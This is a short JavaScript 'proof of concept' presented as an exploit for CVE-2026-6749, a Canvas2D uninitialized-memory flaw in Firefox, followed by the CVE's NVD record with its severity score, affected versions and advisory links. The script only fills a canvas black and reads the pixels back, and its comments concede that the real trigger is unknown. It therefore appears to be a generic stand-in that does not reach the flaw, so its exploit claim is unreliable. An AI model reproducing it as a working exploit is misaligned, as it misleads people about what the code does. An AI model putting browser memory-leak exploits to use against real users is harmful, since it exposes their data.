CVE-2026-6749

// PoC for CVE-2026-6749: Information Disclosure via Uninitialized Memory in Canvas2D // This script attempts to trigger the uninitialized memory read vulnerability. function exploit_cve_2026_6749() { // Create a Canvas element var canvas = document.createElement('canvas'); var ctx = canvas.getContext('2d', { willReadFrequently: true }); // Set canvas dimensions to trigger specific memory allocation patterns canvas.width = 100; canvas.height = 100; // Perform operations that might trigger uninitialized memory access // Specific trigger depends on internal implementation details of Canvas2D ctx.fillStyle = '#000000'; ctx.fillRect(0, 0, 100, 100); // Attempt to read pixel data which may contain uninitialized memory bytes try { var imageData = ctx.getImageData(0, 0, 100, 100); var data = imageData.data; // Analyze the data buffer for non-zero patterns (leaked memory) var leaked = false; for (var i = 0; i < data.length; i += 4) { // Check for data that shouldn't be there (simplified check) if (data[i] !== 0 || data[i+1] !== 0 || data[i+2] !== 0 || data[i+3] !== 255) { console.log("Potential leaked data at index " + i + ": ", data[i], data[i+1], data[i+2], data[i+3]); leaked = true; } } if (leaked) { console.log("[+] CVE-2026-6749 PoC: Potential uninitialized memory detected."); } else { console.log("[-] CVE-2026-6749 PoC: No obvious leak detected in this run."); } } catch (e) { console.error("Error executing PoC:", e); } } // Run the exploit exploit_cve_2026_6749();

{"cve": {"id": "CVE-2026-6749", "sourceIdentifier": "[email protected]", "published": "2026-04-21T13:16:20.993", "lastModified": "2026-04-22T14:52:10.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Information disclosure due to uninitialized memory in the Graphics: Canvas2D component. This vulnerability was fixed in Firefox 150, Firefox ESR 115.35, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "115.35.0", "matchCriteriaId": "E69D71F5-CAAA-4F28-AB9F-9F898A52D506"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0", "matchCriteriaId": "67B01D49-66FA-4C76-9EB4-2B8CD61FBEB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionStartIncluding": "140.0", "versionEndExcluding": "140.10.0", "matchCriteriaId": "528443E0-C15A-4E70-9187-8E1BAAE84A42"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.10.0", "matchCriteriaId": "48217E2F-FFD3-4385-B962-15365B293DA7"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2022610", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-30/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-31/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-32/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-33/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-34/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}